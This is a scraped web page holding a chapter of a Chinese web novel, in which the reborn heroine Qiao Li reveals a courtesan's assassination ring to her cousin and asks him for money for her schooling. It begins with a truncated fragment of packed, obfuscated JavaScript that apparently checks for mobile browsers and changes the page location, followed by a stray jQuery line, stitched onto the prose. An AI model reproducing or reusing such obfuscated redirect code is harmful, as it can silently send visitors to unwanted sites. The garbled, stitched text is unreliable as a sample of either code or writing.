l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615142|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的能量。幼时你学习,明明久坐不动,却还会饿,就是因为如此。” 周莲泱盘腿坐在她面前,讶异地睁大了眼睛。 “而我需要的远比四分之一更多,甚至掠夺了其它器官发育的机会,所以才需要大量进补,供给消耗,直到发育完成。在这之前,所谓的宿慧,也只是一些凌乱不成形的碎片罢了。” 非要说的话,她的经历早已脱离科学的范畴,毕竟乔璃也能算作一个“穿越者”。 上辈子,她生活在一个历史人文都与现在差不多的蓝星,只是在公元20xx年,陨石碎片带来的外星病毒席卷了全球,一个晚上就夺取了十亿三千万人的性命。 这种疯狂的传染病持续发酵,而大量出现的死者并非真正死去,而是成为携带致命病毒的恐怖丧尸,常人一但被他们咬伤或被抓伤,就会受到感染。 进化成为了普通人生存的唯一凭仗。病毒在杀死人类的同时也激发了生物进化的本能,人类像无数小说和影视作品中的那样觉醒了异能,依靠不同的能力彼此合作,集群存活。 乔璃并没有成为异能者,但受辐射影响,她大脑活性被异常激发。虽然过程痛苦,就结果而言也算一件好事——她带领的研究团队制作出了净化病毒的解药。 上辈子的记忆,分明清晰,却感觉已经极其遥远了。恐怖的丧尸,幸存者的勾心斗角,还有研制药剂的反复与艰难,都好像大梦一场。 乔璃捡了些周莲泱能理解的事,还有与玉关柳的全部争锋,一一坦言。 只是隐藏下末世里的某些……远比两人曾经流亡凶恶得多的经历,真全说出来,怕是要吓坏表哥。 眼下看周莲泱这副大脑彻底宕机的呆模样,她就知道,隐瞒是必须隐瞒的,也许日后可以提及。 “暗杀……你说泰春班?” 周莲泱睁大双眼,呼吸都不敢大声了,贴着她,睫毛一扑一扑,声音压得极低。 “熊槐手上有人命,包括严雪辕,恐怕她从小就作为谋杀的一份子,参与玉关柳的计划了。”乔璃耳朵有些痒,又笑,“女人与小孩,总是容易被忽略的。” “至于吸收进戏班的荤角,表哥以为玉关柳何苦开一月三五十银,要什么给什么?筛选出来得用的,自然要替她收集情报,必要时亲自动手,如翠姊一样。” 乔璃的话带来的冲击相当大,周莲泱怔愣一会,又觉得蛛丝马迹,无一不早将事实展现在眼前了。只是,凭他自己,是根本看不出来的,泰春班表面就是个蚀骨地、销金窟,哪怕玉关柳比寻常老鸨风光些,也绝想不到那样软玉胭红的女子,会是搅动风云的杀人手。 “所以……囡儿病好了么?可以跑跳,可以大笑,不会总是受凉卧床,怎么也好不了?” 青年面色有些恍惚,更多的是无处安放的惊喜,绽放出稠美如花的浓艳:“表妹好了?” “我好了。”乔璃叹了一下,主动抱住他。 他的双臂紧紧收起来,那么用力,令她的背脊都有些痛。他眼中纯粹欣然的喜意,牵得她心脏也有一瞬的皱缩。 上辈子,有人爱她,有人恨她,有人将她奉为神明膜拜。可无论是谁,都未曾改变她。 最后,她也因为永不改变的无情,死于末日结束后的欢庆。 但眼前这个人,是她唯一没有预料到的,失忆的乔璃抓住的……一颗心。 他喉结处一圈叠一圈的红晃得乔璃抿了抿唇。 “表哥,我会为你赎身,只是……” “只是什么?囡儿不用急,赎不赎身都无所谓,只要你病好,能康健地去上学,表哥什么都不需要。”周莲泱轻吻着她的额心笑道。 乔璃想要的当然不只是这点盼头。 她想要玉关柳手里的人脉、情报和势力,想要能够挥霍的财富,想要能让所有人都闭嘴、抹杀一切反对之声的——强权。与人打交道,总让她觉得有些无聊——嫉妒,愤怒,喜悦,悲哀,死去活来地相爱分离,乔璃食来总味同嚼蜡。 若只有她一个,自然怎样都可活。 “我不能去圣玛丽亚女中。” 周莲泱失笑:“囡儿想去哪里?若日后不用吃药,我大概还供得起。” 面前之人眼中温柔又带着些不忍,唇瓣轻碰他的面颊,缱绻地唤他的名字:“为了合适的人脉,我必须去上西女学。玉关柳在看见真正的利益之前不会投资更多……” “所以,莲哥哥,我需要你多赚一点钱。”